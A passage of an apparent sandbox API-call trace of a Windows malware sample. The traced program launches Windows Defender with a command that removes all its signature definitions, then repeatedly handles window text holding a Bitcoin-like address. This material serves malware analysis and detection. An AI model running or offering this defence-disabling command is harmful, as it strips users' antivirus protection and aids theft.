pvarRight=0x18ec28, pvarResult=0x18ec68 | out: pvarResult=0x18ec68) returned 0x0 [0188.608] VarCat (in: pvarLeft=0x18ec68, pvarRight=0x18ec58, pvarResult=0x18ec48 | out: pvarResult=0x18ec48) returned 0x0 [0188.608] VarCat (in: pvarLeft=0x18ec48, pvarRight=0x18ec18, pvarResult=0x18ec38 | out: pvarResult=0x18ec38) returned 0x0 [0188.608] SetErrorMode (uMode=0x8001) returned 0x8001 [0188.608] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0188.609] SetErrorMode (uMode=0x8001) returned 0x8001 [0188.609] GetProcAddress (hModule=0x76d30000, lpProcName="CreatePipe") returned 0x76dc415b [0188.609] CreatePipe (in: hReadPipe=0x18ebac, hWritePipe=0x18eb5c, lpPipeAttributes=0x18eb50, nSize=0x0 | out: hReadPipe=0x18ebac*=0x720, hWritePipe=0x18eb5c*=0x76c) returned 1 [0188.609] GetLastError () returned 0x0 [0188.610] SysStringLen (param_1="\"C:\\Program Files\\Windows Defender\\mpcmdrun.exe\" -removedefinitions -all") returned 0x48 [0188.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files\\Windows Defender\\mpcmdrun.exe\" -removedefinitions -all", cchWideChar=72, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 72 [0188.610] SysStringLen (param_1="\"C:\\Program Files\\Windows Defender\\mpcmdrun.exe\" -removedefinitions -all") returned 0x48 [0188.610] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files\\Windows Defender\\mpcmdrun.exe\" -removedefinitions -all", cchWideChar=73, lpMultiByteStr=0x1445ffc, cbMultiByte=73, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\Program Files\\Windows Defender\\mpcmdrun.exe\" -removedefinitions -all", lpUsedDefaultChar=0x0) returned 73 [0188.610] SetErrorMode (uMode=0x8001) returned 0x8001 [0188.610] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0188.610] SetErrorMode (uMode=0x8001) returned 0x8001 [0188.612] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessA") returned 0x76d41072 [0188.612] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Program Files\\Windows Defender\\mpcmdrun.exe\" -removedefinitions -all", lpProcessAttributes=0x18eb50, lpThreadAttributes=0x18eb50, bInheritHandles=1, dwCreationFlags=0x20, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18eb64*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x76c, hStdError=0x0), lpProcessInformation=0x18eb38 | out: lpCommandLine="\"C:\\Program Files\\Windows Defender\\mpcmdrun.exe\" -removedefinitions -all", lpProcessInformation=0x18eb38*(hProcess=0x784, hThread=0x2e0, dwProcessId=0x888, dwThreadId=0x568)) returned 1 [0188.793] GetLastError () returned 0x0 [0188.794] SysStringByteLen (bstr="䌢尺牐杯慲楆敬屳楗摮睯⁳敄敦摮牥浜捰摭畲⹮硥≥ⴠ敲潭敶敤楦楮楴湯⁳愭汬") returned 0x48 [0188.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=72, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0188.794] SysStringByteLen (bstr="䌢尺牐杯慲楆敬屳楗摮睯⁳敄敦摮牥浜捰摭畲⹮硥≥ⴠ敲潭敶敤楦楮楴湯⁳愭汬") returned 0x48 [0188.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1445ffc, cbMultiByte=73, lpWideCharStr=0x1446d5c, cchWideChar=145 | out: lpWideCharStr="\"C:\\Program Files\\Windows Defender\\mpcmdrun.exe\" -removedefinitions -all") returned 73 [0188.794] SetErrorMode (uMode=0x8001) returned 0x8001 [0188.794] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0188.794] SetErrorMode (uMode=0x8001) returned 0x8001 [0188.795] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0188.795] WaitForSingleObject (hHandle=0x784, dwMilliseconds=0x1d4c0) returned 0x0 [0189.605] GetLastError () returned 0x0 [0189.605] SetErrorMode (uMode=0x8001) returned 0x8001 [0189.605] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0189.606] SetErrorMode (uMode=0x8001) returned 0x8001 [0189.606] GetProcAddress (hModule=0x76d30000, lpProcName="GetNamedPipeInfo") returned 0x76dc1a79 [0189.606] GetNamedPipeInfo (in: hNamedPipe=0x720, lpFlags=0x18eb00, lpOutBufferSize=0x18ebb0, lpInBufferSize=0x18ebb8, lpMaxInstances=0x18eba8 | out: lpFlags=0x18eb00, lpOutBufferSize=0x18ebb0, lpInBufferSize=0x18ebb8, lpMaxInstances=0x18eba8) returned 1 [0189.606] GetLastError () returned 0x0 [0189.606] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18eaae, cbMultiByte=1, lpWideCharStr=0x18ea9c, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0189.606] SysStringLen (param_1="") returned 0x1000 [0189.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=4096, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4096 [0189.606] SysStringLen (param_1="") returned 0x1000 [0189.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="", cchWideChar=4097, lpMultiByteStr=0x14e628c, cbMultiByte=4097, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="", lpUsedDefaultChar=0x0) returned 4097 [0189.606] SetErrorMode (uMode=0x8001) returned 0x8001 [0189.606] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0189.607] SetErrorMode (uMode=0x8001) returned 0x8001 [0189.607] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0189.607] ReadFile (in: hFile=0x720, lpBuffer=0x14e628c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18eb48, lpOverlapped=0x0 | out: lpBuffer=0x14e628c*, lpNumberOfBytesRead=0x18eb48*=0xa4, lpOverlapped=0x0) returned 1 [0189.607] GetLastError () returned 0x0 [0189.607] SysStringByteLen (bstr="਍敓癲捩⁥敖獲潩㩮㘠ㄮ㜮〶⸰㘱㠳വ䔊杮湩⁥敖獲潩㩮ㄠㄮ㘮〴⸲ര䄊瑮卩祰慷敲匠杩慮畴敲嘠牥楳湯›⸱㔹ㄮㄹ〮਍਍瑓牡楴杮攠杮湩⁥湡⁤楳湧瑡牵⁥潲汬慢正琠潮敮⸮䐮湯Ⅵ਍") returned 0x1000 [0189.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14e628c, cbMultiByte=4096, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4096 [0189.607] SysStringByteLen (bstr="਍敓癲捩⁥敖獲潩㩮㘠ㄮ㜮〶⸰㘱㠳വ䔊杮湩⁥敖獲潩㩮ㄠㄮ㘮〴⸲ര䄊瑮卩祰慷敲匠杩慮畴敲嘠牥楳湯›⸱㔹ㄮㄹ〮਍਍瑓牡楴杮攠杮湩⁥湡⁤楳湧瑡牵⁥潲汬慢正琠潮敮⸮䐮湯Ⅵ਍") returned 0x1000 [0189.607] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14e628c, cbMultiByte=4097, lpWideCharStr=0x53ccd0c, cchWideChar=8193 | out: lpWideCharStr="\r\nService Version: 6.1.7600.16385\r\nEngine Version: 1.1.6402.0\r\nAntiSpyware Signature Version: 1.95.191.0\r\n\r\nStarting engine and signature rollback to none...Done!\r\n") returned 4097 [0189.607] SetErrorMode (uMode=0x8001) returned 0x8001 [0189.607] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0189.607] SetErrorMode (uMode=0x8001) returned 0x8001 [0189.608] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0189.608] CloseHandle (hObject=0x784) returned 1 [0189.608] GetLastError () returned 0x0 [0189.608] CloseHandle (hObject=0x2e0) returned 1 [0189.608] GetLastError () returned 0x0 [0189.608] CloseHandle (hObject=0x720) returned 1 [0189.608] GetLastError () returned 0x0 [0189.608] CloseHandle (hObject=0x76c) returned 1 [0189.608] GetLastError () returned 0x0 [0189.608] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x226)) [0189.608] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x226)) [0189.608] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.609] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.609] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.609] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.609] GetCurrentProcessId () returned 0x9e0 [0189.609] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.609] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.609] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 1 [0189.609] IsWindow (hWnd=0x2028c) returned 1 [0189.609] GetWindowLongA (hWnd=0x2028c, nIndex=-16) returned 1417740417 [0189.609] IsIconic (hWnd=0x60106) returned 0 [0189.609] GetParent (hWnd=0x2028c) returned 0x60106 [0189.609] TranslateMessage (lpMsg=0x18ea68) returned 0 [0189.609] DispatchMessageA (lpMsg=0x18ea68) returned 0x0 [0189.609] GetWindowLongA (hWnd=0x2028c, nIndex=-16) returned 1417740417 [0189.609] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028c, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0189.610] PeekMessageA (in: lpMsg=0x18e9e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18e9e4) returned 1 [0189.610] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 1 [0189.610] IsWindow (hWnd=0x2028e) returned 1 [0189.610] GetWindowLongA (hWnd=0x2028e, nIndex=-16) returned 1417740417 [0189.610] IsIconic (hWnd=0x60106) returned 0 [0189.610] GetParent (hWnd=0x2028e) returned 0x60106 [0189.610] TranslateMessage (lpMsg=0x18ea68) returned 0 [0189.610] DispatchMessageA (lpMsg=0x18ea68) returned 0x0 [0189.610] GetWindowLongA (hWnd=0x2028e, nIndex=-16) returned 1417740417 [0189.610] CallWindowProcA (lpPrevWndFunc=0x77cbabe9, hWnd=0x2028e, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0189.610] PeekMessageA (in: lpMsg=0x18e9e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18e9e4) returned 1 [0189.610] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 1 [0189.610] IsWindow (hWnd=0x70116) returned 1 [0189.610] GetWindowLongA (hWnd=0x70116, nIndex=-16) returned 1140916224 [0189.610] IsIconic (hWnd=0x40298) returned 0 [0189.610] GetParent (hWnd=0x70116) returned 0x40298 [0189.610] TranslateMessage (lpMsg=0x18ea68) returned 0 [0189.610] DispatchMessageA (lpMsg=0x18ea68) returned 0x0 [0189.610] KillTimer (hWnd=0x70116, uIDEvent=0x70116) returned 1 [0189.611] GetLocalTime (in: lpSystemTime=0x18e680 | out: lpSystemTime=0x18e680*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x226)) [0189.611] SysStringLen (param_1="9:06:09 PM") returned 0xa [0189.611] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9:06:09 PM", cchWideChar=11, lpMultiByteStr=0x14f5634, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9:06:09 PM", lpUsedDefaultChar=0x0) returned 11 [0189.611] lstrcmpA (lpString1="9:06:05 PM", lpString2="9:06:09 PM") returned -1 [0189.611] lstrlenA (lpString="9:06:09 PM") returned 10 [0189.611] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xb) returned 0x3832f98 [0189.611] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ea8 | out: hHeap=0x3820000) returned 1 [0189.611] InflateRect (in: lprc=0x18e5f0, dx=0, dy=0 | out: lprc=0x18e5f0) returned 1 [0189.611] InvalidateRect (hWnd=0x20264, lpRect=0x18e5f0, bErase=1) returned 1 [0189.612] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x22 [0189.612] GetFocus () returned 0x40298 [0189.612] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x23) returned 0x383bb58 [0189.612] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xd, wParam=0x23, lParam=0x383bb58) returned 0x22 [0189.612] GetFocus () returned 0x40298 [0189.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383bb58, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 35 [0189.612] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383bb58, cbMultiByte=-1, lpWideCharStr=0x1445ffc, cchWideChar=35 | out: lpWideCharStr="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 35 [0189.612] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383bb58 | out: hHeap=0x3820000) returned 1 [0189.612] SysStringLen (param_1="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 0x22 [0189.612] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", cchWideChar=35, lpMultiByteStr=0x1446d5c, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", lpUsedDefaultChar=0x0) returned 35 [0189.612] SetWindowTextA (hWnd=0x3027a, lpString="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 1 [0189.613] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x22 [0189.613] GetFocus () returned 0x40298 [0189.613] lstrlenA (lpString="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 34 [0189.613] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x23) returned 0x383bb58 [0189.613] GetWindowTextA (in: hWnd=0x3027a, lpString=0x383bb58, nMaxCount=35 | out: lpString="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 34 [0189.613] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0xd, wParam=0x23, lParam=0x383bb58) returned 0x22 [0189.613] GetFocus () returned 0x40298 [0189.613] lstrcmpA (lpString1="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", lpString2="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 0 [0189.613] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383bb58 | out: hHeap=0x3820000) returned 1 [0189.613] SetTimer (hWnd=0x70116, nIDEvent=0x70116, uElapse=0x3e8, lpTimerFunc=0x0) returned 0x70116 [0189.613] PeekMessageA (in: lpMsg=0x18e9e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18e9e4) returned 0 [0189.613] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.613] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.613] GetTickCount () returned 0x115f8c1 [0189.613] CoFreeUnusedLibraries () [0189.613] DllCanUnloadNow () returned 0x1 [0189.614] GetTickCount () returned 0x115f8c1 [0189.614] IsWindowVisible (hWnd=0x30268) returned 0 [0189.614] IsWindowVisible (hWnd=0x40298) returned 0 [0189.614] IsWindowVisible (hWnd=0x60106) returned 0 [0189.614] Sleep (dwMilliseconds=0x0) [0189.639] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x245)) [0189.639] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.639] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.639] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.639] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.639] GetCurrentProcessId () returned 0x9e0 [0189.639] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.639] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.639] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.639] GetTickCount () returned 0x115f8d0 [0189.639] GetTickCount () returned 0x115f8d0 [0189.640] GetTickCount () returned 0x115f8d0 [0189.640] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.640] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.640] GetTickCount () returned 0x115f8d0 [0189.640] IsWindowVisible (hWnd=0x30268) returned 0 [0189.640] IsWindowVisible (hWnd=0x40298) returned 0 [0189.640] IsWindowVisible (hWnd=0x60106) returned 0 [0189.640] Sleep (dwMilliseconds=0x0) [0189.643] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x255)) [0189.643] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.643] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.643] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.643] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.643] GetCurrentProcessId () returned 0x9e0 [0189.643] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.643] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.643] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.643] GetTickCount () returned 0x115f8e0 [0189.643] GetTickCount () returned 0x115f8e0 [0189.643] GetTickCount () returned 0x115f8e0 [0189.643] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.644] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.644] GetTickCount () returned 0x115f8e0 [0189.644] IsWindowVisible (hWnd=0x30268) returned 0 [0189.644] IsWindowVisible (hWnd=0x40298) returned 0 [0189.644] IsWindowVisible (hWnd=0x60106) returned 0 [0189.644] Sleep (dwMilliseconds=0x0) [0189.645] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x255)) [0189.645] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.645] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.646] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.646] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.646] GetCurrentProcessId () returned 0x9e0 [0189.646] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.646] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.646] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.646] GetTickCount () returned 0x115f8e0 [0189.646] GetTickCount () returned 0x115f8e0 [0189.646] GetTickCount () returned 0x115f8e0 [0189.646] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.646] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.646] GetTickCount () returned 0x115f8e0 [0189.646] IsWindowVisible (hWnd=0x30268) returned 0 [0189.646] IsWindowVisible (hWnd=0x40298) returned 0 [0189.646] IsWindowVisible (hWnd=0x60106) returned 0 [0189.646] Sleep (dwMilliseconds=0x0) [0189.667] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x264)) [0189.667] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.667] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.667] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.667] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.667] GetCurrentProcessId () returned 0x9e0 [0189.667] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.667] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.667] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.667] GetTickCount () returned 0x115f8f0 [0189.667] GetTickCount () returned 0x115f8f0 [0189.667] GetTickCount () returned 0x115f8f0 [0189.668] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.668] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.668] GetTickCount () returned 0x115f8f0 [0189.668] IsWindowVisible (hWnd=0x30268) returned 0 [0189.668] IsWindowVisible (hWnd=0x40298) returned 0 [0189.668] IsWindowVisible (hWnd=0x60106) returned 0 [0189.668] Sleep (dwMilliseconds=0x0) [0189.669] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x264)) [0189.669] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.669] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.669] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.669] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0189.669] GetCurrentProcessId () returned 0x9e0 [0189.669] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0189.669] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0189.669] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0189.669] GetTickCount () returned 0x115f8f0 [0189.670] GetTickCount () returned 0x115f8f0 [0189.670] GetTickCount () returned 0x115f8f0 [0189.670] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0189.670] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0189.670] GetTickCount () returned 0x115f8f0 [0189.670] IsWindowVisible (hWnd=0x30268) returned 0 [0189.670] IsWindowVisible (hWnd=0x40298) returned 0 [0189.670] IsWindowVisible (hWnd=0x60106) returned 0 [0189.670] Sleep (dwMilliseconds=0x0) [0189.671] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x9, wMilliseconds=0x264)) [0189.671] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0189.671] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0189.671] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0189.671] VarCmp (pvarLeft=0x18eb9c, 